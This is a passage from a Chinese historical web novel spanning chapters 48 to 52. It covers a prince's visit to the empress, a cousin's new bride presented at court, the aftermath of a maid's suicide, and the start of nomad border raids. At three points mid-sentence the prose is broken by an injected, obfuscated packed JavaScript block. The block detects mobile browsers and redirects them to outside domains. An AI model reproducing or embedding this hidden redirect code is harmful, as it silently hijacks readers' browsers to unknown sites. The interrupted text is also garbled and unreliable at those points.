洗漱,穿戴整齐之后,门房已备马,百里漾出到门口翻身上马便直奔皇宫而去。也是巧,他入宫后在去椒房殿的半道遇上了一队仪仗人马,规格是长公主才能有的。如今的大衍只有两位长公主,越国长公主此刻不可能出现在这里,那边只有栎阳长公主百里澄了。 百里漾忙追上前去,唤道:“阿姐。” “你今日来得早。”百里澄见是他,略略颔首,随后又问,“昨日饮多了酒可还头疼?”昨日她也去大将军府恭贺了,那群来赴宴的将军武官们是个什么性情她大致了解,如今赶上上官亲子成亲,可不得使劲地欢呼闹腾。连舅舅崔预都被闹着饮了许多酒,崔栋也不能避开,百里漾身为傧相要帮忙挡酒。也不知晓喝了多少。 “谢阿姐关心,睡前用了醒酒汤,醒来后便好的差不多了。”百里漾并排走在百里澄身边,但想起昨日脑袋昏沉的不适,不由摇头苦笑,“这成亲可真是累人啊。” “婚姻乃人生大事,一生也只累这一次罢了。”百里澄忽停下来看着百里漾笑道,“昨日你参加的是他人之婚礼,待到八月初,举行的便是你自己的大婚了。,五郎,你准备好了么?” 准备好了么? 百里漾没有想到长姐会问他这个问题,事实上无论他是否准备好这桩婚事都会进行下去,他的意愿在这时候已经没有了意义,可百里澄问了,他一时间竟回答不上来是“是”还是“否”。按照他个人的想法来说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837580|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目前的他还没有真正下定决心与另一个人缔结婚姻,可若是那个人是颜漪的话,并不会令他反感和抵触。 百里漾自己没有发现,在他思考这个问题的时候,他身上已经没有了初闻这桩婚事时的焦虑和烦躁,取而代之的是平静以及一些不明显的向往与期待。百里澄看着弟弟的样子,想着少年人情窦初开还不自知,唇角微扬,脑海中忽然出现一个清瘦单薄的身影,这也是一个相当有趣的人。 “听说你昨日在舅舅府上遇见颜大姑娘了。”百里澄又问道。她暂时选择将出现在脑海中的身影抛之脑后,反正也来日方长,只要人在湛京,总有再见的时候。 “啊,是、是遇见了。”百里漾一想起昨夜里自己在颜漪面前的表现就恨不得以头抢地。 真的,他不知道自己那时候怎么会做出那么傻的举动,虽然实际上差不多等同于什么都没有做,只说了两句话,但还不如什么话都不说的好。那时的颜漪一定在想自己即将要嫁的人就是这么傻乎乎的。一路骑马过来的时候他就在思考这个问题,甚至怀疑昨晚自己在大将军府喝的那碗醒酒汤是假的。 弟弟脸上的郁闷尽数落入百里澄的眼中,她谁不知道两人见面发生了什么,但看百里漾这表现,至少对于他来说并不算美好。她其实挺想笑的,但笑出来只怕弟弟会更加郁闷,于是便忍住了,但唇角的弧度还是让百里漾看到了。 百里漾:“……”很好,昨夜他在颜漪面前犯的傻连长姐都知道了。若不是已经到了椒房殿前,他都想要掩面而走了。 “你们来了。”皇后此刻端坐在主位上,见到女儿与幼子一道出现很是欢喜,又问姐弟两人是否用膳,得到否定的回答后令人将小厨房备好的膳食端上来。 小半个时辰之后,食案被尽数撤下。 这时候太子一家三口过来了,向皇后请安后落座。皇后见着孙女容色更加和悦,听着孙女软糯糯给她请安的声音大为稀罕,招手让小姑娘过来便拢在怀中哄着说话一边问询孙女近来的衣食起居情况。 回话的是太子妃,她低眉恭顺,一一答了,并无不好的地方。 皇后叮嘱道:“近来天气日渐炎热,阿荧顽皮,仔细着些别让中暑着凉了。” “是,臣妾记着了。”太子妃应道。 旁边被说“顽皮”的阿荧不干了,她从皇后的怀中抬头,很认真地说道:“祖母,阿荧才不顽皮,我一直都有听话的。” 稚嫩的童语将满殿的人都逗笑了,皇后轻抚着阿荧的小身体,满面含笑道:“好好好,祖母知道我们阿荧向来是最乖巧听话的。”她又问了阿荧最近的课业进展如何,阿荧便答自己最近学会了什么字,会背了什么文章。 说是课业,其实就是太子夫妇俩每日抽出一点时间教女儿习字学文,算是入学之前的启蒙。当初高皇帝立下规矩,凡百里氏子孙,年满五岁就要进入学堂读书。阿荧的年纪还差一些,不过也快了。现下多学一些,日后进学便不会容易吃力。 49. 第 49 章 一家子围绕着有关阿荧的话题说话,期间百里漾和百里澄时不时说两句嘴,一时之间殿中充满了和乐融融的欢快气氛。正说着时,外头的宫人进来通报,说是李氏带着儿子儿媳求见殿下。 “新妇来了。”百里澄端着茶杯,偏头看到了正朝殿内走来的三人。 其余人闻言便循声望去。随着人影渐近,昨日未亲临大将军府的皇后见到了崔栋这对新婚小夫妻,未等他们行礼便与周围的儿女们笑语道:“成了亲的人果然就是不一样了,看着更像大人了。嫂嫂,你可是选了一个好媳妇。” 李氏与崔栋夫妇先拜见皇后与太子众人。大家都看得出新妇卢氏有些紧张,皇后则告诉卢氏道:“在场的皆是自家人,你不必拘谨。栋哥儿私下唤我姑母,你也随他唤我便是。” 皇后实在和蔼可亲,一面与卢氏说着话,一面令人将她准备给侄媳妇的见面礼拿来赐予她,然后又与卢氏介绍太子夫妇、百里澄和百里漾姐弟。 这些人里除了百里漾,其余的皆是见过卢氏的。卢氏的父祖皆为高官,祖父更是爵封开国侯,得益于此,她自小便是湛京最顶层贵女圈中的一员,宫宴参加过不少,皇后、太子妃、长公主这些国朝最尊贵的女性亦是见过不少次的。 可这次与以往不同,以前卢氏见这些人持的是臣下之女的身份,如今却是作为崔栋之妻面见诸人,身份转变了,一时之间难以适应,紧张拘束是在所难免的。不过她到底是见过世面的,又有夫君崔栋和婆母李氏在一旁为她缓解解围,一时的紧张不适过去后便又恢复了落落大方的从容姿态。 百里漾是头一回见到崔栋的这位新婚妻子,昨日迎亲时的间隙匆匆瞥见一两眼却不得见全貌,只知对方是一个品貌上佳的女子。今日见了,他发现卢氏的样貌是那种典型的鹅蛋脸,脸型圆润,微笑时眉眼弯弯,一眼看见时并不觉得如何惊艳,可越看便觉得越好看。 他只看了几眼,毕竟他现在的身份是一男子,一直盯着一名女子看这样的行为实在是过于失礼了。趁着皇后、李氏她们与崔栋夫妻说话的空档,百里漾借着喝茶的动作遮挡观察了一下崔栋夫妻的相处模式。 怎么说呢,感觉就像是皇后所说的那般,成了亲之后的崔栋确实给人的感觉与之前不大一样了。他的变化并不明显,但百里漾能感觉到他一举一动对卢氏的注意与关心,当卢氏踌躇不知如何回应时,他就会适时地将话头自己接过去,缓解了卢氏的尴尬无措。 看得出来,崔栋对他的这位新婚妻子还是很上心维护的。要知道一两月前他还是一副提起成亲就烦躁得不行的姿态,再看如今这副模样,小夫妻甜甜蜜蜜的,有时候小眼神一对视都快黏在一起了,看多了还真让人觉得齁得慌。 百里漾边吃点心边想,“果然是知子莫若母,舅母还真是为栋表兄聘了一位佳妇回来。”这位表嫂卢氏是舅舅舅母满意才选中的,如今崔栋自己也很满意喜欢,可以说是皆大欢喜了。 女眷们凑在一起说话,崔栋那边见卢氏适应得很好就坐过来与百里漾、太子说话了。太子问他,“昨日新婚可高兴了?” 太子昨日也去大将军府贺喜了,不过因为当日婚宴上人多过于热闹,他身子弱,担心被冲撞了,于是只出现了一会儿讨了一杯喜酒喝后就离开了。 崔栋摸着头嘿嘿一笑,没有多说,态度已经很明显了。 “既成了亲就是大人了,往日的心思收一收,好好过日子。”太子为尊,又是兄长,训了几句话。崔栋态度无比恭顺都领受了。 之后就是随便聊聊了。 皇后与李氏这对姑嫂向来关系亲厚,如今侄子娶了新妇,两个人凑在一起好似说不完的话,大多是围绕子女来说的。皇后看着已做妇人装扮的卢氏,与李氏笑道:“如今你可是聊了一桩心愿,来年等着抱孙便是。” “我至少还要等来年,殿下却早几年就抱上了,这些年我实是羡慕得紧了。”李氏瞧了一眼被皇后抱在怀里圆润可爱的阿荧,心里可稀罕了。她看了一眼百里漾的方向,又笑道:“等再过一段时日,殿下的新儿媳进门,也可盼着来年了。” 如今湛京之中谁人不知江都王与定国公之女八月便要大婚了。皇后想着用不了多久就能见到幼子在自己跟前成婚,心中大为宽慰,顺着李氏的话畅想了一番后,将目光投向了下方的百里漾。 百里漾接收到了自己阿娘的目光也明白其中的含义,但怎么说呢……他选择了假装没接收到,错开阿娘的殷殷目光继续与太子、崔栋说话。 一旁的百里澄瞧见了这一幕,忍俊不禁,结果被皇后精准捕捉到没好气地瞪了一眼,顿时就不敢再“放肆”了。毕竟,于婚嫁一事上,皇后对她也是有很大怨念的。对于这点,她心中还是很有数的。 热热闹闹说了好一段时间话便到了近午。新侄媳妇头一回来拜见,皇后是必要留饭的。早先就有吩咐过厨房准备,到了时辰便可直接呈上来。在用膳之前,皇后欲派掌宫令前去宣室殿询问皇帝是否要过来一道用膳。可掌宫令还没有迈出椒房殿的殿门,那边就打发人过来说皇帝不过来了,他与大将军等人自行用膳了。 今日崔预也一同入宫谢恩了。一家四口先去的皇帝那里,谢恩之后李氏带着儿子儿媳往椒房殿过来,崔预则是留在宣室殿与皇帝议事。皇后对他们不来似乎早有预料,也不以为意,令宫人摆饭了。 用过饭之后,李氏便带着两个小夫妻告辞了。今日他们进宫的目的已达到,也不好一直叨扰皇后。其余人见状也都纷纷起身向皇后告退。 百里漾亦是要出宫的人,便与李氏、崔栋夫妇同行一段路。出了宫门,李氏与卢氏婆媳俩乘坐马车,百里漾与崔栋骑马,一路慢悠悠地说着话。 崔栋道:“昨日可多亏有你。我阿爹的那些同僚们真真个个如狼似虎,酒量更是好得吓人,如饮水一般,若非你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850767|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面拦着,我怕是早就醉成一摊烂泥了。”百里漾的身份到底是君,将他往身前一放,那些直鲁粗豪的武将武官们也不敢太过放肆,这不就将他从那些人手里解救出来了么。 他再次做出承诺,拍胸脯保证,“等明儿你成婚,我必定挡在前面,保管让你站得稳稳地入洞房。” “恐怕没有多少你发挥的余地。”百里漾想象了一下自己成婚那日可能会出现的场景,看着眼前的崔栋,忽然警惕起来,目光直盯着他,“只要你不闹我,我想我会很好。” 正如崔栋因为百里漾的身份高而拜托他帮忙挡酒一样,真到了大婚那日,湛京之中真的敢来闹他的人已经没剩几个了,太子不会做这样的事情,其余的人身份不够不敢放肆,也就只剩眼前的崔栋了。 崔栋:“……”他很想张嘴保证自己在那日绝对不会闹百里漾,但他发现自己做不出这个承诺,于是只能在百里漾的瞪视中眨眨眼睛装无辜。 百里漾都要气笑了,要不是顾忌着这厮刚刚新婚,他非要拽着这厮去校场狠狠揍他一顿。正好此时到了分开的岔路口,百里漾去与李氏告别,看也不看崔栋就骑着马走了。 “诶诶诶,五郎。”崔栋赶紧追上去几步,“玩笑,我说笑呢,别生气啊。三日后我在家中设宴,你可千万要来啊。” 百里漾没理他,骑着马愈发走远了。 “阿娘,外面夫君他……”马车之中,卢氏眼中有些许担忧。外面崔栋与江都王的动静其实她有分心关注着,以为崔栋惹怒了江都王。 “无事,他们之间玩闹,五王不是小气量的人。”李氏知道儿媳在忧虑什么,让她放宽心,继续与她说一些崔栋儿时的趣事。 大将军府要宴请的帖子也送到了定国公府颜漪的手里。与婚宴不同,这次宴会的主角虽然依旧是崔栋和卢氏这对新婚夫妻,但此次颜漪再去便是作为卢氏的好友前往赴宴。这是因为两人新婚,要互相向彼此的亲朋好友介绍彼此,让两边的人都彼此认识熟悉一下,顺便展示一下两人婚后的美满生活。 颜漪会收到请帖并不意外,她只是想到,此次宴会她若去,必然会再见到百里漾。不由自主的,那夜婚宴之上与百里漾的匆匆一面又浮现在她的脑海之中,与那时的好心情截然不同,此刻的她心中只剩下了对拿捏不定一些事情的惊疑不定。 因为今日的她从栎阳长公主口中得知了一件事情,她与母亲去云山寺祈福的那日,江都王亦去了。栎阳长公主只是随口一问,问她那日可曾见到江都王了。又得知江都王在云山寺停留的时间与她们的重合了大半,当时便是心下一凛。 栎阳长公主会有如此一问是认定了她那日应当在云山寺遇上江都王的,恐怕事先还与江都王告知过她那日也会前往的消息。他们那日都去了云山寺,可她确实没有见到江都王。且在云山寺的那日属实是发生了一件很不好的事情,若真是那么巧被江都王见去了…… 50. 第 50 章 此念一出,颜漪不禁眉头轻蹙,认真思考此事的可能性。江都王既已提前从栎阳长公主处知晓那日她与母亲会至云山寺,他若同在,不可能不前来相见。可既定的事实是她那日并未见到江都王,那么她猜测的可能十有八九是成真的。 最不希望看到的事情还是发生了。 在颜漪看来,江都王既已知晓她与顾晟开在云山寺之事,为何却依旧不声不响。为难的是一个人难以全然明了另一人的心中所思所想,她在这里苦苦思索,甚至要对婚宴那夜江都王见她时的反应情态抽丝剥茧来层层解析。这样的做法实在累。她总忘不了江都王看她时眼中的澄澈纯然,或许,她不该如此去揣测他的心思。 不久后大将军府的宴会,江都王必定会受邀前往。到时相见,许多事情总能说清楚的。 这到底是一桩麻烦事,在得到解决之前总令人心中不快。颜漪难免想起给她制造出这桩麻烦的罪魁祸首,便问道:“顾氏那边可有何动静?” 三日之期已过,有些事情该出结果了。 初禾在边上伺候,闻言她脸上先是出现了厌恶痛恨与嘲讽之色,随即又有几分怜悯叹息之意,最终归于平静,她回道:“那日之后奴婢便令人去顾宅打探,那边一切如旧。” 一切如旧,也就等于说此前发生的事情在顾宅这里一点水花都没有泛起,而对于顾晟开来说,那个为了他豁出性命做出了背主之事的婢女在他心里根本无足轻重,即便她死去,顾晟开心中连一丝波澜都不会起。 这都不能够说顾晟开绝情,因为他对那婢女根本没有情,只不过是冰冷的利用,事结之后,哪还会管她死活。 颜漪默然。对于这个结果她早有预料,她知道顾晟开不会来,可还是心存一丝期盼,理智告诉她不可能,可情感让她有所期盼。如今来看,这些年积攒下来的几分兄妹之情到此也全然消散殆尽了。 初禾声音些许低沉,“方才管事那边来报,那婢子已撞墙而死。奴婢去看时,她刚咽气不久,脑袋撞出大洞,血肉模糊,眼睛睁得大大的。”据说那人临死之前死死盯着顾宅的方向,先是哀泣,然后就变成了对顾晟开的咒骂。 “你觉得她可怜?”颜漪轻叹一声后,再次问了初禾这个问题。 这次初禾不再起犹豫,“奴婢觉得她可怜,她被人欺骗,最终丢掉了自己的性命,只因信了不该信的人。” 颜漪:“她错信了顾晟开,我又何尝没有看错人呢。” 那婢女视顾晟开为最后的救命稻草,在绝境之中满心期待,可顾晟开的无情给了她最冰冷残酷的一击,他对她从头到尾只是利用,那些柔情蜜意的爱语、信誓旦旦的承诺不过是引她上钩的假象与幌子。她的结局在她决定顾晟开“赴汤蹈火”的那一刻就已经注定了。 颜漪不是心软之人。那背主之仆勾结顾晟开来害她、害她门庭,便已经注定了必死的结局。她给了三日之期,也不过是延缓那婢女的死期罢了。她闭眼又睁开,眼眸中又归于平淡,“母亲那边如何说?” “主母并未多言语,只是令人将她的尸身送去顾宅。” 定国公府将人送过去顾宅时,家中只有顾氏主母即顾晟开之母在。听闻定国公妇人遣人送来东西,她如往常般欣喜,令人将人迎进门来,对即将发生的事情毫无所觉。等她去到时,发现定国公府的来人并不是此前熟悉的面孔,甚至一个个态度冷硬,说话间也没有了以往对她的热络客气。 这让顾夫人察觉到了不对劲,但她一时没有多想,直至看到了地上那一团被麻布袋包裹的东西。那里面的东西明显看得出来是一个人,可怕的是这里面的人一动不动,而麻布袋上洇染了大片的血红,有些地方甚至呈现出黑色。 顾夫人不是没有见过这些东西的人。她的丈夫这些年以来贪花好色,身边养着一群的莺莺燕燕,争风吃醋的戏码上演多了手段就会趋向阴险歹毒,她是见识过的,也是见过死人的。 这麻袋里面是一个死人! 定国公府竟然给她送了一个死人过来?! 顾夫人简直难以置信,她怒气上涌,在问清情况之前堪堪压制住了,脸色却很难看,“这是何意?嫂嫂难不成叫你们给我送来一具尸体?!” 定国公府此次前来的人并没有为她解释的意思,语气冷硬,只是按照家中主母的意思传话,“我家主母说,这婢子既一心痴恋贵府公子,贵府公子亦有心,她自当成全。只不过可惜的是,这婢子今早突发恶疾而亡了。” 他说罢,不管顾夫人的阻拦,令人将麻袋的系口解开,将里面的尸体从麻袋中褪了出来。 尸体落到地面上,身体平躺着,脑袋却歪斜着朝向了顾夫人这一边,瞪得仿佛要从眼眶里跑出来的灰暗眼睛对上了顾夫人的眼睛,一瞬间将她吓得失声尖叫,“啊,走开!快把这东西带走,快带走啊!” “人既已送到,我等这边回去复命了。”定国公府的人才不管顾夫人吓得如何惊惧,为首之人朝她微微颔首,这就带着人要离开了。 “站住。”顾夫人急忙喝止住他们,她稍一低头就看到了那具死不瞑目的尸体,方才他们说的那些话更是让她万分迷糊不解,一指地上的尸体,怒不可遏道,“这就是你们对顾氏、对我的态度么,我到要去国公府问问这究竟是何道理?” 可不管她如何怒气勃发,定国公府的人面上的神情从始至终都没有变化过,任由奉命行事顾夫人如何说,他们能够回答的只有四个字“奉命行事”而已。 等夜晚顾晟开回到顾宅之时,顾夫人身边的婢女匆匆来请他,说是顾夫人病了。顾晟开皱眉,“今晨不是还好好的,怎么突然就病了?” 婢女道:“午后定国公府那边来了人送来一样东西,主母便气病了。” 顾晟开一听到“定国公府那边来人”脸色便不太好,眉间一瞬间便积压了阴云,变得阴鸷无比,又听到顾夫人是气病的,更是面无表情,抬 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今日之事对她的冲击太大,尤其是定国公府来人的态度前所未有的生冷强硬,别看那时她似乎浑然不惧还要上定国公府去讨要说法,实则之后也确实有些怕了。 那具尸体被送上门来,不可能就这么扔在那里不处理,可那是一个死人,她一见到就忍不住心里犯怵,更不敢对上那双瞪大的宛若淬满了毒的眼睛。她本来想令人将其扔到城外乱葬岗去,可之前那些人话里话外的意思皆是此事与她儿子有关。可思来想去,这事还要问儿子,她只能让人将尸体暂且留着等儿子回来再处置。 “你告诉阿娘,到底发生了什么?”顾夫人快速从软榻撑起身体,皱着眉看着儿子。 她并非不知好歹的人,在丈夫的事情上她兴许拎不清,可在对待有关定国公府的事情上,她还是有几分理智的。绝对是出了什么她不知道的事情,并且这件事情还很严重,否则她那位向来颇为照顾他们母子的长嫂绝对不会如此不给他们、不给顾氏脸面。即便是按照今日来人的说法,至多不过是她儿子看上了定国公府中的一名婢女罢了,这算是什么不得了的事情,值得这样大题小做。 可若真只是这样的小事,以她对长嫂曹氏的了解,绝对不至于让她令人直接将婢女的尸体送来。那尸体她后来强忍着恐惧恶心看过,死状凄惨,看得出这人是自己撞死的,且死前必定是满腹怨恨,否则不会死都不肯闭眼。 顾夫人想知道,儿子到底做了什么事情惹得长嫂厌恶了? 可顾晟开显然不想告诉她,无论她怎么问,他都没有回答,只一味地告诉顾夫人让她不必管,也不用去定国公府说什么,更让她日后少去定国公府。 “这事怎么能不说清楚。”顾夫人更加着急了,“你我母子如今唯一的依靠就只有你的舅舅,你以为你的父亲靠得住么?他只会惦记外面的那一群不要脸的浪蹄子和野种,何时将我们母子俩放在心上。何况顾氏落寞至此,若无你舅舅的扶持,你如何能够振兴顾氏?” 51. 第 51 章 “够了。阿娘,不要再说了。”顾晟开怒喝一声,面色无比阴沉,连顾夫人都一时被他骇住了。意识到自己的失态,他压了压怒气,勉力恢复成平日的模样,沉声告诉顾夫人,“阿娘你听我的,若是真的为我好就不要去定国公府,此事你就当作没有发生过。” 随后无论顾夫人如何唤他,顾晟开依旧头也不回地大步离开了。他大步穿行在无边的夜色里,夏日的热气也未能融化他脸上的寒霜。他很清楚云山寺的事情过后,他与定国公府基本上是撕破脸了。并非是他不知道做这件事情的后果,他只是实在不甘心。他想去找颜漪问个明白,可他根本没有机会见到颜漪,最后只能选择使用一些手段达成目的。 他费了那么多的心思只为见到颜漪一面,向她倾诉自己的爱慕。可颜漪的冷漠决绝犹如数九寒天当头给他浇下了一盆冷水。他不服,凭什么颜漪会选择了一个突然冒出来的百里漾。哪怕她说的是因为圣旨赐婚而不得不从,他心里都会好受许多。 顾晟开想不明白事情为什么会变成这样,明明在此之前一切都是好好的,而不是现在这般。不但表妹颜漪拒他于千里之外,而且他连定国公府都不能再去了。一切都回不去了,而这一切变化的缘由皆因为江都王百里漾,是他从他的手里抢走了心爱之人。 尚不知道自己已经被顾晟开认定为“横刀夺爱的恶人”并记恨上的百里漾正在处理江都那边送来的政务。虽说他此次来湛京命范国相监国,一应事务由他负责统理处置,但总有一些是范国相自己不敢轻易决断的。于是,江都那边便不时有快马加急将一些文书送来湛京的江都王宅。 范国相经验老道,寻常的事务自己就能够处置了,稍不一般的即使不能立即决断也能周旋暂缓一段时日,主要也是惦记着自家大王即将迎娶王妃,想让大王专注于湛京之事不必分心。可这次的事情不同寻常,是兵事。 “这才夏日,离渊竟派兵入境来劫掠了?”百里漾将手中关于江都一带边境遭受离渊骑兵劫掠的奏报搁下,双眉紧缩,看向下首的属臣。 属臣姓何名光宴,亦是百里漾信重的臣子之一,此次百里漾来京岁贡选他随行也是看中他的能力,如今湛京之中有关于江都王的事务大多也是他在负责的。他面色沉凝道:“事出反常,怕是离渊内部生出了什么变故。” “离渊扰边,恐不止江都一处,其他地方不知如何,朝廷这几日估计也收到奏报了。”百里漾沉吟片刻,忧愁道,“若是多处受到侵扰,边境可能真的要起战事了。” 战事一起,交战双方刀兵相见,免不了要生灵涂炭,这般景象总是令人不忍见到。大衍如今立朝不过二十几年,天下也才刚稳定下来不久,谁都不愿意再起战事。可这种事情不是一方说不愿意打就能不打的,对面是离渊,他们向来不是安分的主。 “现在情况如何尚不知,我们也不必太过悲观。”百里漾稳了稳心神,看向何光宴说道,“稍后我入宫一趟。” “大王且去,此处有臣。”何光宴抬手一礼,躬身道。 入宫后百里漾先去的东宫,太子见到他来很是高兴,问他怎么有空过来了。百里漾将奏报从衣袖中掏出来递给太子,说了离渊扰边的事情,太子的面色一下子变得凝重起来。 百里漾见状就知道他还不知晓此事。江都是他的封国,离渊侵扰江都边境的事情他作为一地之主知晓的速度总要比朝廷快些,他道:“此事实在不寻常,就怕离渊真的意图再次兴兵南下进犯。” 离渊在大衍的北边,那里是一片广阔无际的草原,生活着许多以游牧狩猎为生的人。草原天气变化莫测,不仅如此还有来自野兽猛兽的威胁,为了抵御风险,不知从什么时候开始,草原上的人聚集成群汇集成了几十支的部落,这些部落过去相互之间为了争夺水草更为肥美的地盘而常年进行征战,偶有南下来劫掠的,但也只是一小股人马,来去匆匆,不成气候。但从前朝中期开始,形势就开始有了变化。 那时的北部草原上一直支名为“离”的部落中出了一位狠人,他是“离”部落首领的第十八个儿子,他手刃了十二个兄弟,踏着兄弟亲族的鲜血铺就的路坐上了首领之位。随后的二十多年之中,他亲自率领部落中的骁勇善战之士不断对草原的其他部落进行征伐兼并,不服他的都被血洗吞并了,打不过又不想死的就降了,向他俯首称臣,此人由此便成为了第一个一统草原诸部的人。 此人于是自立为王,建立离渊国,号称大汗,令其余部落年年向他进贡牛羊等物。但他的统治也仅仅维持了三十年便因为晚年诸子、诸侄争夺汗位而分崩离析,草原上又再次出现了十几支互相攻伐、谁也不服谁的部落势力。 这些游牧部落常年逐水草而居,民风彪悍,尤善骑射,从前朝中后期开始经常南下侵扰劫掠、杀戮边境百姓,为患边境将近上百年之久。前朝时不是没有人想过要解决这个大麻烦,但难度很大。离渊的军士几乎人人都是马上骑兵,他们往往都是抢完就跑,几乎不与守军打拉扯战,而这边边境的守军基本上是步兵,没有配备机动高效的骑兵,根本追不上,所以一直以来面对离渊的侵扰都是被动防守。 哀帝继位之时,北面的草原上再次崛起了一个强大的部落,部落汗王乃是此前离渊国那位大汗的九世孙,他再次打服了草原上的所有部落,重新建立离渊国,被共尊为大汗王。在他的带领之下,北面的离渊成为了这边王朝的巨大威胁。哀帝死后,前朝崩溃,诸方势力割据,天下大乱。离渊曾趁机南下,试图攻占州郡,被当时几个势力联合逼退回去。 大衍初立之时,高皇帝曾亲自领兵与离渊的部落狠狠打了几场,甚至亲率五千骑兵向北追击离渊残部,可惜因为不熟悉离渊的地形,一进入茫茫草原就迷了路,后勤补给粮草断了,骑兵最后只回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|14861689|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了不足一千人。 那一战大魏损失惨重。 离渊部落那边想着大衍初立并不稳当,于是在次年又集结二十万大军南下,大衍调兵遣将应战。双方又狠狠打了几场,互有胜负。然而就在战局僵持之时,离渊那边突然传来大汗王病重的消息,离渊匆匆退兵,并与大魏签订了休战盟约,约定互不相犯,勉强维持了十几年的和平。但谁都知道这只是暂时的,离渊背地里一直不安分,大衍这边也始终在防范着。 百里漾知道这事是避免不了的,却不想它来得如此之快。 太子当即道:“离渊那边的形势怕是有了大变化。”他为嗣君,上朝参政多年,敏感度是有的,甚至极为敏锐,“乞罗扎汗年迈,底下子侄多野心勃勃之辈。离渊突然有大动作,怕是与汗位承继有关。” “莫非乞罗扎汗定下了继承人之位?”百里漾不由道。 离渊现在的大汗王名为乞罗扎汗,他在离渊的威望很高,也是一个堪称传奇的人物。乞罗扎年轻的时候是离渊第一勇士,据说力能搏虎狼,曾经身陷狼群,通过搏杀狼王使群狼畏惧而得以生还。也因此被上一任的大汗王看中了他的勇猛凶悍让他做了大女婿。 乞罗扎后来在替上任大汗王征服不听话的部落的过程中立下了赫赫功劳,并数次救老汗王于险境,由此得到了老汗王的信任和器重,逐渐掌握住了权柄,拥有了一批追随者。到了老汗王病重的时候,底下的儿子侄子们为了争夺汗王之位相互打了起来,反倒让乞罗扎抓住了机会,弄到最后反而是他从老汗王那里继承了所在部落的首领之位,也顺带继承了大汗王的位子。 但乞罗扎以女婿之身得位引来了很多人的不满,这些人不仅存在于本部落内部,也存在于本部落之外的其他部落。但他很快以雷霆之势杀光了本部落内部的所有反对者,后来又通过一系列的手段和操作彻底坐稳了大汗王的位置。 乞罗扎汗年盛力强之时犹如猛虎盘卧,无人敢有异心。可一旦他老去,底下的幼崽们又逐渐长成,年青力壮,身后各有一大堆拥趸助其成势,个个都想角逐那猛虎百兽之王的位子。偏偏乞罗扎汗特别能生,他底下的儿子连同子侄加在一起将近二十人,能力出众的不少,背后皆有势力支持,要从这近二十人中选出继承人且不生出大的波动,想想都知道极难。 所以百里漾很快就否定了这个猜测。 “岂有这般容易之事。”太子亦摇头,“情况到底如何,这几日就可见分晓了。” 太子说的不错,边境这段时日的确出事了,不止江都国的边境遭到了离渊的侵袭劫掠,定安国、长夏国皆有奏报进京,几处甚至数次侵扰,好在皆被勇武的将士击退了。其中定安国急传进京的奏报还提到定安王因奋勇杀敌被流矢中伤臂膀,所幸并无大碍。 太子向皇帝进言,定安王勇武,退敌有功,请嘉奖之。皇帝允准。 52. 第 52 章 定安国边境受到离渊侵袭劫掠有两次,第一次是在六月二十六;第二次则是六月三十,这次是定安王披甲亲自率领将士与离渊骑兵对战。而定安王是六月十五定始从湛京出发返回安国,也就是说,定安王是在回归封地的路上接到了离渊侵袭的奏报后当即快马加鞭赶赴边境,随后便与第二次来侵袭的离渊骑兵碰上并主动带兵迎击。 百里漾听闻此消息的时候,不由得心中叹服。百里洪野心勃勃觊觎储君之位是真,可他确是真有本事有胆气之人,凡有冲锋杀敌之事,从不退缩。若是换了自己,百里漾也不知道自己能否做得比百里洪更为出色。 可欣赏归欣赏,赞叹归赞叹,定安王觊觎东宫之位一日便是他们的敌人,他们与他之间是做不了和睦友爱的兄弟手足的。定安王越是出色能干,对他们则越不利。这一点,百里漾心中还是有数的。 “他有本事,却更有贪功冒进之心,反而显出短处来。”百里澄说道。她并不否认定安王百里洪的本事,毕竟百里洪算是百里氏那些庶出之子中最为出色的那个,但这在她看来还不够,至少他的本事并不足以掩盖他的缺陷。 百里漾想到了定安国送来朝廷的那份奏报,说定安王遇离渊骑兵二百之众,率众奋勇迎击,却敌三十里,不幸中流矢,仍尽诛之。仅从奏报上来看,此战乃是定安王身先士卒奋勇杀敌,在负伤的状况下依旧率领将士剿灭了离渊来犯的骑兵。可只要对与离渊作战的兵事有过几分了解就能发现奏报上隐藏的问题。 历来离渊来犯,绝大多数时候来的都是骑兵。离渊人养马,有大片的草原可以放牧,他们的将士几乎人人都能骑马射猎,每次来也多是以烧杀劫掠为目的,所以往往都是小股人马过来抢完就跑,几乎不与守军打拉扯战。而大衍这边作为守方,守军基本都是步兵,能够将人赶走却很难追得上四条腿跑路的离渊的骑兵。若是在己方的地盘拦不住,离渊骑兵一旦跨过边境线进入茫茫草原就基本上追不上了。 